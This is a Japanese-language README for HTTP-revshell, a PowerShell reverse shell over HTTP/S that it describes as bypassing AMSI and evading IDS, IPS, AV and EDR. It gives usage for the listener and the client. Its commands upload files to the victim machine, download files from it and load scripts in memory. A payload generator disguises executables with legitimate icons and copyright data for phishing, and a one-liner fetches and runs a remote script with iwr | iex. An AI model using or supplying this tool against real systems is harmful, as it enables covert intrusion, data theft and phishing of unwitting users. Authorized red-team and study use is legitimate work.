
HTTP/Sプロトコルを使用したPowerShellリバースシェル(AMSIバイパス、プロキシ対応)
HTTP-revshell は、レッドチーム演習やペネトレーションテスター向けのツールです。このツールは、http/s プロトコルを介したリバース接続を提供します。Web リクエストを通じて被害マシンを制御するための隠蔽チャネルを使用し、IDS、IPS、AV などのソリューションを回避します。
注: このツールは回避機能に関してメンテナンスされていません。いくつかの変更を加えるだけで、市場の多くの EDR をバイパスできます。

Server usage:
usage: server.py [-h] [--ssl] [--autocomplete] host port
positional arguments:
host Listen Host
port Listen Port
optional arguments:
-h, --help show this help message and exit
--ssl Send traffic over ssl
--autocomplete Autocomplete powershell functions
Client usage:
Import-Module .\Invoke-WebRev.ps1
Invoke-WebRev -ip IP -port PORT [-ssl]
git clone https://github.com/3v4Si0N/HTTP-revshell.git
cd HTTP-revshell/
pip3 install -r requirements.txt
この機能を使用すると、任意のファイルを被害マシンにアップロードできます。
Usage:
upload /src/path/file C:\dest\path\file
この機能を使用すると、ファイルを攻撃者マシンにダウンロードできます。
Usage:
download C:\src\path\file /dst/path/file
この機能を使用すると、被害者のディスクに書き込むことなく、正当な HTTP トラフィックを介してファイルを読み取り、powershell スクリプトをロードできます。
Usage:
loadps1 /path/to/the/local/server/PowershellScript.ps1
このスクリプトを使用すると、HTTP-revshell を使用するために必要なペイロードを含む実行可能ファイルを作成できます。画面の指示に従うだけで生成できます。6 つの定義済みテンプレートと、好みのデータを設定できるカスタマイズ可能なテンプレートがあります。
ツールによって生成されるペイロードは、アプリケーションの正当なアイコン、および元のアプリケーションの製品情報と著作権情報を組み込んでいます。さらに、それぞれはサーバーとの接続を確立する前に元のアプリケーションを起動し、正当なアプリケーションを装います。これはフィッシングやレッドチーム演習に使用できます。
ペイロードジェネレーターの使用方法:
powershell "iwr -useb https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Revshell-Generator.ps1 | iex"

重要: 定義済みテンプレートのすべてのフィールドは、Enter キーを押すと自動補完されます。
このスクリプトは LGPLv3+ の下でライセンスされています。ライセンスへの直接リンク: License.
HTTP-revshell は、許可されたペネトレーションテストおよび/または非営利の教育目的のみに使用されるべきです。このソフトウェアの誤用は、作者または他のコラボレーターの責任ではありません。自己のサーバー、および/またはサーバー所有者の許可を得て使用してください。